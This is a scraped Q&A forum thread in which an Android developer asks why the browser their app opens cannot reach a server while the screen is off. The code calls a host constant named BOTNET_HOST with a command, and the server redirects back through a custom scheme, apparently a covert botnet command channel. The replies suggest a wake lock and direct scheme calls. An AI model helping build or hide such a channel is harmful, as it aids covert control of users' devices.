I'm wondering is the browser in android emulator is unable to connect to the internet while the screen is off?
My application will use the browser to connect to a web server when the screen is off. I use
startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse(CommonVariable.BOTNET_HOST+command)).setFlags (Intent.FLAG_ACTIVITY_NEW_TASK));
After the server receive the request, It will redirect the browser to a special scheme called iloveu://blahblahblah. This scheme will start my activity when the browser receive the scheme. I t开发者_开发技巧ested this method when the screen is on, and everything seems to be OK.
When I test my app, the server didn't get anything until the screen is on. However, in the logcat the activityManager start the activity with the Intent when the screen is off. So I'm wondering that is the browser connection is disabled when the screen is off?
Is there a particular reason you need the browser? Because you can directly invoke your app via custom scheme (e.g. iloveu://blahblahblah
)
Did you request a wake lock? Otherwise the device might disable network connectivity while the screen is off.
精彩评论